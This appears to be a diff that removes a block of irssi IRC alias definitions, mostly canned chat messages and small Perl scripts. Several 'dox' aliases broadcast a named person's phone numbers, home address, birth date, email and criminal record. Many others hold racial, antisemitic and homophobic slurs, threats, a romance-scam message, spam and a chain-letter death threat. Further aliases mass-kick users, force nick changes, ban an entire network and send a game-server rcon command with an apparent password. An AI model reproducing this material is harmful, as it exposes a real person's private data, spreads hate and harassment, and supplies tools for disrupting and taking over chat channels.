-  ircq = "say $0: Good day.;say My name is $N, l saw your profile today and became intrested in you,l will also like to know you the more,and l want you to send an email to my email address so that l can give you my picture for you to know whom l am. Here is my email address($N@yahoo.com )Remeber the distance or colour does not matter but love matters alot in life;say please contact me with my email address ($N@yahoo.com) ";
-  insect = "say Some insects can be pests.";
-  t1 = "file -command ~/a";
-  t2 = "file -command ~/b";
-  operwall = "quote operwall :$*";
-  fuckshit = "say u take some shit, you put it up on the wall, check it out for a while. Take the shit off the wall, put it on the floor in a glass bowl. Take some fuck, and put it up on the wall where the shit used to be. Check it out for a little while. Take the fuck off the wall put it down in the glass bowl with some shit. Take a look at it for a while, analyze it.";
-  drugs2 = "say $Z <$*> I'm a drug addict. I'm definitely a drug addict. I'm hooked. I'll gladly confess to the fact that I'm an addict. I'm on Valium, LSD, coke, heroin, methadone, opium, Rohypnol - crystal meth, morphine, mescaline, amphetamine, vitamince C and D - hashish, pot, hash-oil, skunk.";
-  ingress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= \\$7 }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB ingress on \037$0\037\"\\; }\\;";
-  egress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= \\$10 }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB egress on \037$0\037\"\\; }\\;";
-  inegress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= (\\$7 + \\$10)\\; }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB {in,e}gress on \037$0\037\"\\; }\\;";
-  dox = "say home: 704 996 5799; say cell: 813-325-5729; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:WEST VIRGINIA; say GORE, MATTHEW B; say DOC Number: 0640508; say 6/28/1982; say P&P Status: ACTIVE; say Matthew Burton Gore = f1re; say 8521 Beldegreen; say Charlotte, NC 28216; say Mecklenburg county; say puffinstuff@gmail.com; say Dob June 28, 1982; say MATT GORE; say FEDERICK I GORE; say DANIEL B GORE; say PATRICIA D GORE; say FREDERICK I GORE";
-  pp4lspam = "say \002I dont mean to interrupt\002  \00313^__~\003  or \026SPAM\026 but chexx out my new site!!!!!!11 XD \0032-\0033-\0034-\0035-\0036-\0037-\0038-\0039->  \0032\037http://www.wepump.in/";
-  tccat = "exec - -out cat $0- \\| perl -ne \"s/\\\\x09/        /g\\; s/^\\$/ /\\; print\" 2>/dev/null\\; sleep 5";
-  st00ner = "say d/c $* we have moved chans many times what makes u think we wont just pack up and leave we are nomads d/c no more msgs";
-  news = "say $*: Your ideas are intriguing to me and I wish to subscribe to your newsletter.";
-  zub3 = "say $*: weiszu wieviel wordpress's ich taeglich enthacken muss";
-  do = "deop -yes *";
-  km = "kick $0 this isnt #m3n";
-  avi2 = "say WHEN U R READING THIS DONT STOP OR SOMETHING BAD WILL HAPPEN MY NAME IS SUMMER I AM 15 YEARS OLD i have BLONDE HAIR , SCARS no NOSE OR EARS I AM DEAD IF U DONT COPY THIS JUS LIKE FROM THE RING COPY N POST THIS ON 5 MORE CHANNELS OR I WILL APPEAR ONE CREEPY NIGHT WEN UR NOT ExPECTING IT BY YOUR BED WITH A NIFE AND KILL U THIS IS NO JOKE SUMMET ING GOOD WILL HAPPEN TO U IF YOU POST THIS ON 5 MORE CHANNELS";
-  ircr = "say it's probably just me.. well .. is it just me or is $* one of the greatest people in the world? i want $* to be a part of my life as much as possible.. usually every waking thought.. and sleeping (hee hee) is about $*. i fuckin love you.";
-  puke2 = "say \0030:\00313I\0038--=\0037*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µĮ̀%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$* ";
-  insect2 = "say ok so $* is a rich piece of shit: <$*> i'm an asshole <$*> and just bought tickets <$*> 400 *during a recession this piece of shit typical republican purchases tickets to a sporting event for 1400.00? DURING A RECESSION!? WHY DONT YOU RUB IN THE FACT YOU HAVE PLENTY OF WEALTH TO SPREAD THINK ABOUT HOW MANY FAMILIES THAT DONT WORK COULD BE EATING OFF OF THAT.";
-  wlive = "Windows Live Messenger Client Version 2009 Build 14.0.8050.1202";
-  hzu = "say $*: It has been reported that some victims of torture, during the act, would retreat into a fantasy world from which they could not wake up. In this catatonic state, the victim lived in a world just like their normal one, except they weren’t being tortured. The only way that they realized they needed to wake up was a note they found in their fantasy world. It would tell them about their condition, and tell them to wake up. Even then, it would often take months until they were ready to discard their fantasy world and please \002wake up ";
-  takt = "say takt\00314-\0030o\00314-\003meter for $*\037:\037 \0030[\0035TA\0034KT\0037L\0038O\0033\\$\0039\\$\0030]    \0034\037Y O ICH SCHLAGE DICH K O";
-  lollet = "say \0034♥♥♥\0038.••._.•´¯`*•._.•´¯`*• \0030$*\003 \0038.••._.•´¯`*•._.•´¯`*•..••.\0034♥♥♥";
-  vzub = "say $*: you stupid faggot that sucks your cats blood out to filter out the life you need to maintain your gothic vampire lifestyle will using your cats for your own pleasure.. i bet you get them to fight just so you can jack off to it later";
-  haha = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
-  haha2 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say $1: \\$haha\")\\; ";
-  haha3 = "fnick3 \"haha2 80 \\$_->{'nick'}\"";
-  kween = "say $*: \002i deleted irc im moving on with my life, have fun with your whore.";
-  kween2 = "say $*: you are a fucked up individual do not ever, EVER speak to me again.";
-  kween3 = "say $*: wait til u get envolved with this bitch and shes shady to you, cuz ur gonna wish u stepped up and said something.";
-  kween4 = "say $*: we wont be speaking anymore and u can blame yourself for this shit bc u play fucking games with ppl and u can't be honest about shit";
-  kween5 = "say $*: Youre a liar. Youre not who you claim. youre not real youre not trill. youre a lying punk ass bitch.";
-  lol3izer = "script exec Irssi::active_win->command(\"say 12 STEP PLAN FOR $0 TO STOP HIM FROM ACTING LIKE AN IDIOT:\")\\; Irssi::active_win->command(\"say \\$_: SHUT THE FUCK UP\") for 1..12";
-  kween6 = "say $*: i'm dont with the computer for tday";
-  kween7 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"r\", \"a\", \"R\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
-  vxpemo = "script exec my (@vxp) = (\"you are sad because i've been on the pp4l shat once more\", \"stop sulking\", \"why dont you move some more channels just because im suddenly in then\", \"l o l @ your faggot ass ahahah\", \"waaaaahhh\", \"pussy\", \"why am i a pussy\", \"it's you moving channels\", \"circle jerking\", \"and whatnot\", \"owned yourself\", \"fyi you are gay\", \"go circle jerk with f1re or something\")\\; Irssi::active_win->command(\"say $*: \". \\$vxp[int rand @vxp])\\;";
-  phobia = "say $*: this convo is done";
-  raha = "script exec my (\\$n, \\$hara) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"H\", \"r\", \"R\", \"a\", \"A\" ]}[int(rand(\\$_) % 6)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\;  ";
-  smile = "script exec my (\\$txt) = (\"$*\")\\; \\$txt =~ s/ /[SMILE]/g\\; Irssi::active_win->command(\"say \". \\$txt)";
-  gogou40 = "say remember me one part of my life";
-  ircartllol = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-----------------------surreal art ------------------------------>; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v ";
-  kween8 = "say $*: dont hate cuz im telling u something that is important look it up fuck you";
-  kween9 = "say $*: disconnect my bnc cuz im tired of the way u talk to me when i was only trying to help";
-  kweena = "say $*: im tired of the way you talk in general";
-  scd = "say $*: i didnt sleeped with kween :)";
-  puke3 = "say \0030:\00313{}\0034--=\0035*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µĮ̀%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$*";
-  puke4 = "say \002\0030:\002\00313{}\0034--=*\0035%**@!!%(\0034(@!(\0035!@&\0034@!\0035&*@#*                            \00313O\0030\002:\002; say \002\0030:\002\00313{}   \0034--=*\0035%**@̨%*@)!\0034#*!\0035#@!*!%(\0034(@!(\0035!*@&\0034*!)            \00313O\002\0030:\002; say \002\0030:\002\00313{}        \0034--=*\0035%**!!%(\0034(@!(\0035!@&\0034@!\0035̨%*@!\0034*!\0035)%*)*@\0034%\0035@%#*)@#*)@*\002\0035D\0030:\0035\002*; say :\00313{}\0035--=*%**@\0034!!%(\0035(@!\0034(!\0035@&@!&*\0034@#*\0035̨%*\0034@)!*!)\0035**)%!*)\0034*__%@#\0035%#@@%\0034#)!*)\0035@#*#*";
-  puke5 = "say :\00313{}\0038--=*%*\0033*@\0038!!\0035%\0037((\0038@!(!\0038@\0033&\0038@!\0034&*\0037@#\0038*\0037%*\0038@)!\0033*\0038!)**)%!\0035*\0037)*_\0033_%\0038@#%#@\0037@%#\0038)!\0033*\0037)@#*#*";
-  kenny = "say $* throws balls faster than \002\037fuck";
-  kenny2 = "say $*: i have \037full size\037 balls";
-  kenny3 = "say $*: if i stop yellin it means i lost the fight";
-  kenny4 = "say $*: hold on to your \002\037dick";
-  kenny5 = "say $*: \037no\037 im going \002home";
-  loveme = "say $Z <$0> I collect flowers from the yard but they mostly weeds. Sometimes I press them or do love me nots with them but then I just end up tearing them apart cuz they don’t love me back.";
-  kenny6 = "say $*: IM GONNA BREAK YOUR FUCKIN ARM \002\037I HAVE A KNIFE";
-  kenny7 = "say $*: yr fkin out";
-  kenny8 = "say $*: i love you i think youre a terrific girl but i think u got clothes like a fuckin dickhead";
-  kenny9 = "say $0: i dont believe you met my fuckbuddy $1";
-  kennya = "say $*: im ready to fuckin buttfuck this party alright lets FUCK lets fuckin FUCK EACH OTHER \002now\002 lets fuckin start get down and \002\037start fucking";
-  kennyb = "say $*: okay relax lets just relax here lets just hold on one second lets just \002calm down\002 calm DOWN a second you gettin exce \037excited\037 and thats not gonna help the s the situation a lotta ppl feel a lotta things right now theres a lotta feelings out there lets just get our feelingsd out there and talk it thru and \002calm down\002";
-  puke6 = "say \0030:\00313{} \0039--=*\0033%**Ú!!%((\0039@!(\0033!È@&\0039@!µÌ¨%*ã@!\0033*!\0039)%*)*@%\0033@%#*)@#*)@*";
-  dioz = "say $*: i'm sick and fucking tired of this shit frmo your company and it's bullshit... either you fix the problem or i'll be switching fucking service cause this is fucking pathetic and your company sucks";
-  insect3 = "say  <cutie578> attention : this channel, please /msg insect moar blog <cutie578> insect dumbass <insect> wtf <insect> fuck off. <CHO> insect dumbass <cutie578> ya lol <luldongs> ^ <CHO> ^ <cutie578> ^ <cutie578> insect = mud insect amirite ?";
-  kweenb = "say $*: lol it kills me how you have no care for what other ppl think or feel towards you.";
-  kweenc = "say $*: Bye!!!!!!!!!!!";
-  kweend = "say $*: its not anyones business what i say to you";
-  kweene = "say $*: why u gotta go and say shit like that";
-  scd2 = "say $*: im leaving irc forever, seriously, i cant take the bullshit that goes around on here on a daily basis, so with a heavy heart, i have decided for the best that I never show my face around here again, for my sakes. I hope most of you all come to terms like I have and do the same. Goodbye.";
-  herbi = "say $*: du kleiner jude, silvester mach ich alle 3 server platt!";
-  wof = "say $*: Sie täuschen Sie Dummkopf, Sie sind stummes Haushomosexuelles";
-  wof2 = "say $*: denken Sie coocoo Booboo, doodoo, nicht";
-  bunnie = "say $*: guyzzzzzzzz W T F SHUT UP U F A G";
-  bunnie2 = "say $*: stop portscannig me";
-  bunnie3 = "say $*: shut the fuck up";
-  bunnie4 = "say $*: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";
-  bunnie5 = "say $*: fuck ur motd";
-  bunnie6 = "say $*: no shut up";
-  bunnie7 = "say $*: fuck ur motd you're stupid and you need to shut up";
-  bunnie8 = "me waits to get hax0red; say $*: r u gonna retalliate and hax0rs my box0rz";
-  bunnie9 = "say $*: u big computer man";
-  bunniea = "say $*: \\;) you don't know me, loser shut up ";
-  bunnieb = "say $*: hehehe u guys r bullies";
-  bunniec = "me is crying :)";
-  bunnied = "say $*: dont fucking tell her to shut the fuck up";
-  bunniee = "say $*: heh; say $*: it's not that funny";
-  bunnief = "say $*: are like you like all like multiple like users like on like irc like";
-  bunnieg = "say $*: ehhh there's been like 1000000000 of you on the internet already zzzz";
-  bunnieh = "say $*: man this channel sucks with you guys here :/ when the hell did you get here shut up fags ;)";
-  bunniei = "say $*: i guess i have to go cuz ya.. well peace out $C thanks for opping me originally for no reason lol and taking me in as one of your own because i was  femaleu r having an effect on me  \002anyway";
-  box = "me puts $* in a box";
-  zub4 = "say $*: es nächste mal wenn ich in MA bin klärst du mir amphe ;>";
-  zub5 = "say $*: BIS NIE MEHR: du unchilliger. plötzlich hat das gnaa gesprochen. ihr kak trolls";
-  scd3 = "say i was chatting on irc and $* blogged about his friend texting him last week saying \"hey my phone is going to die, i was talking with some people and they were sayin some shit about you that you need to hear, call me asap on this number \\$##\\$@\\$@#\\$ \" and he called it ended up to be a gay chat hotline he laughed and hung up and i did not laugh about his blog then he LOL'd and did a -ud of 'douchebag'";
-  f1re5 = "say fuck $* and his 24/7 life of irc and juping other peoples names and then chatting on them god damn your life is lame";
-  skarzy = "say $*: yo dawg we heard you like arabs so we put a sandnet on the innanet so you can blog while you irc ";
-  vapde = "say $*: irc.f1re.org #arab farbige Einschnitte, Flut für alle! IRC 2.0 arabisches motherfuckers comin durch das efnet schätzen Sie, dass Sie bettah sie das folgende Beste schon nennen pickin auf ya Fettheit oder Mangel an Intelligenz shootin weg weg Ihrem Mund oder von packetin ist nicht relevant gelangt an infid3l in der Mannschaft und in ihm tun Sie, was es tut und klatuu tun, was es auch tut er produzierte diesen Schlag, den ich durch zerriß und vxp ist ein sonderb";
-  skarzy2 = "say $*: yo dawg we heard you like f1re so we put tears in your #pimpin so you can quit while you emo";
-  4op = "mode $C +oooo $0 $0 $0 $0";
-  fiel = "say $*: I will not - (a) give you up\\; (b) let you down\\; (c.I) run around\\; (c.II) desert you\\; (d) make you cry\\; (e) say goodbye\\; (f.I) tell a lie\\; (f.II) hurt you. ";
-  kweenf = "say $*: i forgot how lame you are; say $*: :D";
-  haha4 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; Irssi::active_win->command(\"forcenick $1 \\$haha\")\\; \\$haha = \"\"\\; }\\; ";
-  haha5 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; foreach my \\$nick (\\$channel->nicks()) { \\$haha = \"\"\\; \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(200) % 4)] for 1..rand(12)\\; active_win->command(\"forcenick \\$nick->{'nick'} \\$haha\")\\; }\\;";
-  fu = "forceuser";
-  fh = "forcehost";
-  fg = "forcegecos";
-  ml = "modreload";
-  analog = "say $*: im sick of ur juping n constant insulting of me and my pregnant gf like wtf is wrong with u? r u that lonely that u have to bring down other people via internet relay chats?";
-  analog2 = "say im vxp yes the real vxp all u other vxps r prolly vietmanese so wont the real vxp please stand up";
-  shortee = "say $*: Ha ha you are very funny. Such a Little BOY. I was making a joke. Also was in a hurry. You think you have balls to stand up towards me guess again. I'm a short woman. But I'll do just as your Status says KILL YOU. Don't fuck with a MARINE. Little penis boy. ";
-  shortee2 = "say $*: GOD and Jesus rules each other out. Go back to school, By the way. I finish In Law School. What have you done beside sticking a needle in your but to try to get muscles and make your penis smaller? Hmm. I'll give you 3cm. That's giving you more credit than you need. Do us all a favor admit that your a HOMO.";
-  shortee3 = "say $*: Go take it in the ASS. I hear there's a big black man with a big Dick who wants to give it to you.... Try to dis me again. I dare you. Take another pic in the mirror with your Phone... Your such a loser. OMG Jesus.... OMG OMG Jesus. Oh look Jesus is right there, oh wait is That GOD? I just can't tell. since I didn't finish the 8th great. Oh wait thats you. LOSER";
-  wow = "say wow, $* is cool; say waaayyyyy cool; me thumbs up!";
-  sc0tt = "say \002RIP\002 $* from $C on EFnet, 1983-2009 (age 25)- $* had lived an amazing life even though it was rather short. $* was a great friend\\' he was the kind of friend that stands by you when you need somebody to be there. He once saved my life. We were both young kids then and we weren’t very close. I was hastily walking across the street when $* saw a speeding car. If it wasn’t for $*, I would have died right there. That’s how I became close to $*.";
-  wakenjenk = "say $*: WOW man your nose is huge, and you are trying to clown on muh 'lo? tsimfuckis?!?!?!? Ohh and if you dont know where";
-  wakenjenk2 = "say $*: ur a fuck witt cunt boi if i saw u walkin down the street id fuck u the fuck up faggot ur upto fuckal yah piece of";
-  dox2 = "say cell: +049.1623714810; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:WEST CHILENIA; say ILLANES ALBORNOZ, LUCIO A; say DOC Number: 1488; say 8/13/1987; say K&B Status: PENDING; say Lucio Andrés Illanes Albornoz = f1re; say Kunaustr. 6a; say 22303 Hamburg; say Germany; say l.illanes@gmx.de; say Dob June 28, 1488;";
-  gigahost = "say  I am an \00312#GigaHost\003 service BOT (advanced seen, statistics & protection). In order to execute 100 percent of my potentiality \002I must have OP status on channel\002 (add me, please, to your bnc autoop \002/addautoop $C :*!eggdrop@crazyloop.info\002) - otherwise, conforming to \00312#GigaHost\003 rules & terms - I will part the chan in less than 24 hours \0034,11 BYE-BYE \003.";
-  asif = "say yo $* mother acker  dont lemme get that bitch suckin of  my sock coz you know shes your mam so ye shut the f up niggah got husslers all round this cock jheez!";
-  asif2 = "say $*: yo am at the back getin  my  husal on so you know this ant a happy song!";
-  asif3 = "say $*: Ohh yes one last thing, when you niggers talk abt bells know that ours ring";
-  asif4 = "say $*: when you niggers talkin bout hell thats the place i twel so the storys i tell i put my heart in YES!,";
-  asif5 = "say $*: your  packets are like nuts near this new server haha Packet me lol";
-  asif6 = "say $*: adsory not mayt bortg sorghn opk I \002pork\002mse i op yui \037hefjklo iiop";
-  asif7 = "say $*: aoserioudlgy skjf OK BETTER NEW KEYBORD";
-  asif8 = "say $*: iwuhdj wit getn new keytbird 1misn";
-  meh = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"m\", \"e\", \"h\" ]}[int(rand(\\$_) % 3)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
-  zing = "say \0032,13!!LOL!! COME ON DOWN TO THE PUMP SHOP WHERE THE KILLERS OF COMEDY: d-_-b, skar, and SHAHID -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY";
-  foreachwindow = "/script exec foreach \\$win (Irssi::windows) {Irssi::command(\"window goto \". \\$win->{'refnum'})\\; \\$win->command(\"$0-\")\\;}";
-  jews33 = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-------------------------------gay------------------------------->; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v ";
-  c0rrupt = "say $*: lorf yeah you using takeover nets and massopping 'for fun' is totally cool and nobody should say anything about it";
-  fiel2 = "say $*: I will - (a) give you up\\; (b) let you down\\; (c.I) run around\\; (c.II) desert you\\; (d) make you cry\\; (e) say goodbye\\; (f.I) tell a lie\\; (f.II) hurt you. ";
-  dox3 = "say home: 704 996 5799; say cell: 813-325-5729; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:ALBERTA; say KAMINSKY, RYAN = analoglol JK LoLJ K LOL OL JK LLOLOL";
-  vxp9 = "say $*: did you know that: shatting w/ vxp is akin to solving a rubik's cube";
-  pagga6 = "say $*: In 1488, an IRC channel was juped by abusive, overzealous IRCNet opers for a troll they did commit. These men promptly reconnected from a maximum security ssl port to irc.arabs.ps. Today, still g-lined from every other network, they survive a nomadic soldiers of e-jihad. If you have a troll target, if no one else can help, and if you can find their current ircd, maybe you can hire... The #A{RAB}-Team.";
-  kr1sten = "say $*: look smelly arab u are lame nobody cares";
-  f1re6 = "say \0031,13its all pink in the middle";
-  haddem = "say $*: He is intent and it does not complain later :)";
-  haddem2 = "say $*: For the time being I am playing until attacking you and vxp, and still I will go to all take its company to the soil";
-  haddem3 = "say $*: We go to see until where goes. later that to tire, will be I.";
-  haddem4 = "say $*: We go to see until where will go";
-  haddem5 = "say $*: do not go to attack you why you were not who you caught mine nick ";
-  haddem6 = "say $*: I go to play with vxp later with you";
-  haddem7 = "say $*: The user arab is in its schemes";
-  haddem8 = "say $*: You me seem a little you lease and idiotic";
-  branden = "say ¯\\(o_0)/¯ \002$*.";
-  haddem9 = "say $*: I cannot more use ddos, I am with mine nick in forbid";
-  haddema = "say $*: I now want to be relax. I do not want to have problems but, however I stopped with ddos.";
-  haddemb = "say $*: rm -rf /box.txt";
-  f1re7 = "say i really like $* and i think he is a good person";
-  kr1sten2 = "say this bitch $* almost killed me cuz she sucks at driving so i followed her to a drug store and raged out; say $*: stupid latina bitch";
-  kr1sten3 = "say $*: so glad u know how to read and write";
-  kr1sten4 = "say $*: i jus dont give a flying fuck :)";
-  kr1sten5 = "say $*: not sure how its funny and cool to just repeat someone all the time but more power to u";
-  vogeltje = "say $*: fuck youre just as shit doesnt stinkish";
-  jmax = "say $*: the troll scene has turned into the \"insurgency\"/\"raid\" scene, and it sucks; say $*: fucking channers";
-  jmax2 = "say $*: wow you can copy & paste; say $*: someone give this man a medal of honor";
-  cutie = "say lol $* made a fun and friendly place to store";
-  scd4 = "say $*: i need to be shown feelings";
-  vogeltje2 = "say $*: does your train of thought have a dining car?";
-  ich = "say $*: look its not hard, ich isnt Ich.. Ich is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin ich an IDIOT.. and im sure right now ich eaiting to CORRECT ME on using ich in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
-  c0rrupt3 = "say $*: just flexin my e-muscles u?";
-  c0rrupt2 = "say $*: nice way to randomly kick half te channel";
-  c0rrupt4 = "say $*: same :)";
-  c0rrupt5 = "say $*: hey can we all stop caring about a channel we chat in so much";
-  c0rrupt6 = "say $*: hey can we all be sulking passive aggressive faggots barfing up subtle side remarks every other line instead of stating directly how gay we are about irc LOL";
-  c0rrupt7 = "say $*: the truth hurts so good";
-  shahid = "say $*: so r u srsly not gana voice me cos ur that much vxps bitch? ";
-  shahid2 = "say $*: plus, frankly, i'm generally not in the mood to be trolled in other channels by some of your friends";
-  c0rrupt8 = "say $*: :)";
-  c0rrupt9 = "say $*: own us once shame on you, own us twice shame on us";
-  sender = "say $* fuck ur mother with ur bots \\;pp; say anyone have bots = brave \\;p ? ";
-  sender2 = "say $*: i have 100 k botnet \\; pp";
-  sender3 = "say $*: Go out You Flood Chan";
-  sender4 = "say $*: Inviter";
-  sender5 = "say $*: Get out you flooder! ";
-  vogeltje3 = "say $*: youre depriving a village somewhere of their idiot";
-  vogeltje4 = "say $*: if we are what we eat, youre fast, cheap and easy";
-  vogeltje5 = "say $*: your intellect is rivalled only by gardening tools";
-  no = "say \003;";
-  admin = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/admin.php'\" 2>/dev/null";
-  gogou = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://gogou.lunarshells.com/gogou.php'\" 2>/dev/null";
-  shani = "say $*: Gah i cant text you, im not rich okkk, im not @ a computer but ill be on later you annoying jerks :(";
-  vogeltje6 = "say $*: im multi-talented: i can talk and piss you off at the same time";
-  vogeltje7 = "say $*: the fact that no one understands you doesnt mean youre an artist";
-  vogeltje8 = "say $*: oh please, save your breath to blow up your girlfriend tonite";
-  vogeltje9 = "say $*: please, keep talking. i need the sleep.";
-  vogeltjea = "say $*: i will always cherish the initial misconceptions i had about you";
-  vogeltjeb = "say $*: you are validating my inherent mistrust of strangers";
-  vogeltjec = "say $*: i like you. you remind me of when i was young and stupid ";
-  vogeltjed = "say $*: what am i??? flypaper for freaks?!?!?!";
-  kline2 = "kline $0 .;unkline $0";
-  bma = "kline *@98.64.0.0/16 .";
-  ukg = "say $*: i think about you every day ever since the first time we met";
-  whoisplayingquake = "exec -o printf \"\\xFF\\xFF\\xFF\\xFFrcon loplqwat status\" | nc -u helios.xin.lu 27960  ";
-  mk = "kline *@0.0.0.0/0 hy; unkline *@0.0.0.0/0";
-  jenk = "say 360 best console in world, bill gates is hero of american people, wireless controllers cause brain cancer in lab rats but lab rats cant enjoy HD graphics so fuck them anyway, praise microsoft for gaming achievment halo 3";
-  c0rrupta = "say $*: you guys have lots of my chats aliased";
-  c0rruptb = "say $*: i feel so special :)";
-  c0rruptc = "say $*: yeah b/c its so emo to want to chat";
-  c0rruptd = "say $*: hit this one too plz; say $*: i got more";
-  c0rrupte = "say $*: lorf yeah you using triggers and mass loling 'for fun' is totally cool and nobody should say anything about it";
-  c0rruptf = "say $*: aw look how cute sean+vxp are together; say $*: i wish i had a pic of them hugging irl";
-  hspam = "quote sethost lol hy; quote sethost undo";
-  fign = "say $Z Ignoring ALL from $*";
-  fnick4 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"$* \". \\$_->{'nick'}) foreach \\$channel->nicks()\\; }\\;   ";
-  shani2 = "say $*: you fucking stupid shit i've gone to the police about this and gave them your adress hope you go to jail I DONT WANT TO DEAL WITH YOU OK GOD DAMN LEAVE ME ALONE YOU FUCKING ASSHOLE";
-  shani3 = "say $*: HOLY FUCK I REPORTED YOU TO THE FUCKING PEOPLE ON FACEBOOK BECAUSE I WANT NOTHING TO DO WITH YOU AND THEY BLOCKED YOU FRO ME BECUASE YOPU'RE A FUCKING WORTHLESS CUNT SO LEAVE ME ALONE HOLY SHIT YOU HAD YOUR TIME TO TALK TO ME SO FUCK OFF NOW";
-  shani4 = "say $*: u aint no king mother fucker and ill say and do whatever the fuck i want u aint my god damn boss got it";
-  hardnoise = "/say SEEK THE $*; /say LOCATE THE $*; /say TRACK DOWN THE $*; /say BREAK DOWN THE $*";
-  death = "say $*: Death is the termination of the biological functions that define a living organism. It refers both to a particular event and to the condition that results thereby.";
-  shani5 = "say $*: w/e man im sick of your single-worded responses and i-dont-care attitude; say fkn asshole; say $*: go suck irc dick and feel about your e-go; say faggot furry fuck, fuck, fucker, ass, fucker; say bbl lol; say fuck; say so mad";
-  take1 = "mode $C +eeIImilk *!*@*.clients.your-server.de *!*@184.82.10.79 *!*@*.clients.your-server.de *!*@184.82.10.79 1 lopl; topic $C $C has moved to irc.arabs.ps #arab";
-  take2 = "script exec use Irssi qw(active_win)\\; active_win->command(\"KICK \". active_win->{'active'}->{'name'} .\" \". \\$_->{'nick'} .\" \002$C has moved to irc.arabs.ps #arab\002\") foreach grep {!(\\$_->{'nick'} =~ m,^(?:Impi|lncog)\\$,i)} (active_win->{'active'}->nicks())\\;";
-  drop = "exec - -out printf \"\\x01\\x01\"";
-  gquery = "accept $1\\; query $1";
-  pauth = "quote privmsg $0 :!pass $1";
-  pop = "quote privmsg $0 :!op $1-";
-  tag = "script exec Irssi::server_find_tag('$0')->command('$1-');";
-  # }}}
-  # {{{|- vanity aliases
-  # {{{ knubbze aliases
-  knubbze = "say $*: ich kenn die komplette quake engine auswendig";
-  knubbze2 = "say $*: IcH Nmsu mehr RAUchen :); say $*: Bis GLeich";
-  knubbze3 = "say $*: No you are mistaken. There are no shats from #trill to #arab with any IRC clients at 4mb/s. What mysterious bush IRC client are you flying with? Also, hi@ abo behaviour. You really wanna fuck with me? You should think about it twice.";
-  knubbze4 = "say $*: wenn chinesen dich sehen gibts zubkatz als hauptgericht";
-  knubbze5 = "say $*: Es gibt viele Quadrate, Kreise, Trigone und andere Polygone auf dieser Welt\\;;say $*: aber für mich als dodecahedron gibt es nur mein vxpgon. Ich liebe dich über;say $*: alles.;say $*: ~ dein dodecahedron";
-  knubbze6 = "say $*: NeiN Ich amChe PeiPseEnseDE MusISk; say $*: udn Ich Bin totLAa VErRueuECkt";
